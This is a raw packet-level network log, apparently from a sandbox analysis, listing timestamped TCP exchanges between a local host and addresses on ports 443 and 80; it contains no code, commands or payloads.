Dec 20, 2023 15:35:10.398475885 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.398514032 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.398520947 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.398557901 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.403304100 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.403321981 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.403362989 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.403368950 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.403397083 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.404964924 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.404989958 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.405019999 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.405025959 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.405052900 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.411883116 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.411925077 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.411961079 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.411967039 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.411990881 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.458640099 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.458666086 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.458722115 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.458743095 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.458758116 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.465490103 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.465507984 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.465523005 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.465550900 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.465557098 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.465591908 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.472038984 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.472069025 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.472114086 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.472120047 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.472157001 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.479583979 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.479603052 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.479643106 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.479648113 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.479672909 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.485822916 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.485847950 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.485882998 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.485888004 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.485902071 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.492360115 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.492378950 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.492418051 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.492422104 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.492449045 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.498531103 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.498557091 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.498591900 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.498596907 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.498625040 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.512594938 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.512622118 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.512659073 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.512665033 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.512681961 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.526489973 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.526515007 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.526566029 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.526571035 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.526726007 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.534974098 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.534995079 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.535056114 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.535062075 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.535085917 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.540426970 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.540452957 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.540505886 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.540510893 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.540537119 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.546127081 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.546159029 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.546211004 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.546217918 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.546232939 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.550863028 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.550904036 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.550940037 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.550946951 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.550961018 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.555088997 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.555123091 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.555169106 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.555179119 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.555197954 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.560012102 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.560039043 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.560089111 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.560100079 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.560132027 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.564203024 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.564237118 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.564295053 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.564301014 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.564332962 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.568634033 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.568660021 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.568710089 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.568717003 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.568747044 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.594456911 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.594476938 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.594522953 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.594531059 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.594547987 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.598490953 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.598534107 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.598550081 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.598555088 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.598597050 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.602910042 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.602930069 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.602994919 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.603001118 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.603035927 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.608210087 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.608236074 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.608273983 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.608279943 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.608302116 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.617974043 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.617994070 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.618043900 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.618052959 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.618083954 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.623903036 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.623944044 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.623982906 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.623991966 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.624002934 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.626518011 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.626538038 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.626571894 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.626580954 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.626600981 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.635452032 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.635478020 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.635525942 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.635533094 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.635579109 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.638372898 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.638392925 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.638458967 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.638463974 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.638499975 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.639621973 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.639645100 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.639695883 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.639700890 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.639746904 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.640891075 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.640925884 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.640960932 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.640966892 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.640995979 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.642024994 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.642050028 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.642088890 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.642093897 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.642116070 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.643062115 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.643080950 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.643126011 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.643131971 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.643167019 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.644356966 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.644382954 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.644431114 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.644435883 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.644460917 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.647964954 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.647983074 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.648041010 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.648045063 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.648065090 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.650460958 CET	80	49752	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:10.650517941 CET	49752	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:10.651115894 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.651140928 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.651177883 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.651196003 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.651220083 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.653485060 CET	80	49753	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:10.653574944 CET	49753	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:10.659473896 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.659493923 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.659550905 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.659560919 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.659591913 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.665524960 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.665550947 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.665601015 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.665607929 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.665642023 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.669886112 CET	49753	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:10.671694040 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.671714067 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.671778917 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.671786070 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.671839952 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.674669981 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.674690008 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.674738884 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.674743891 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.674755096 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.677488089 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.677520037 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.677558899 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.677567959 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.677599907 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.683918953 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.683939934 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.683979988 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.683989048 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.684016943 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.684556961 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.684582949 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.684617996 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.684623957 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.684652090 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.685133934 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.685153008 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.685194969 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.685199976 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.685220003 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.687242031 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.687267065 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.687299013 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.687304974 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.687334061 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.689201117 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.689218998 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.689254999 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.689260960 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.689277887 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.692009926 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.692034960 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.692076921 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.692082882 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.692117929 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.693653107 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.693672895 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.693715096 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.693721056 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.693742990 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.697649956 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.697681904 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.697720051 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.697725058 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.697751999 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.699431896 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.699450016 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.699517965 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.699525118 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.701284885 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.701309919 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.701348066 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.701354027 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.701379061 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.702964067 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.702996016 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.703035116 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.703039885 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.703068018 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.705830097 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.705856085 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.705903053 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.705909014 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.705924988 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.728415012 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.728434086 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.728493929 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.728501081 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.728533030 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.731659889 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.731683969 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.731735945 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.731741905 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.731766939 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.733284950 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.733309984 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.733355999 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.733361959 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.733385086 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.735769033 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.735795021 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.735837936 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.735842943 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.735867977 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.737943888 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.737962008 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.738004923 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.738010883 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.738034010 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.738190889 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.738231897 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.738236904 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.738275051 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.747812033 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.747833014 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.747900009 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.747906923 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.747946024 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.749660015 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.749679089 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.749722004 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.749727011 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.749758959 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.749772072 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.762736082 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.762782097 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.762805939 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.762811899 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.762835026 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.771861076 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.771881104 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.771918058 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.771924973 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.771958113 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.776066065 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.776083946 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.776125908 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.776130915 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.776153088 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.778143883 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.778186083 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.778199911 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.778204918 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.778243065 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.779392004 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.779411077 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.779449940 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.779454947 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.779465914 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.783616066 CET	443	49751	185.199.110.133	192.168.2.4
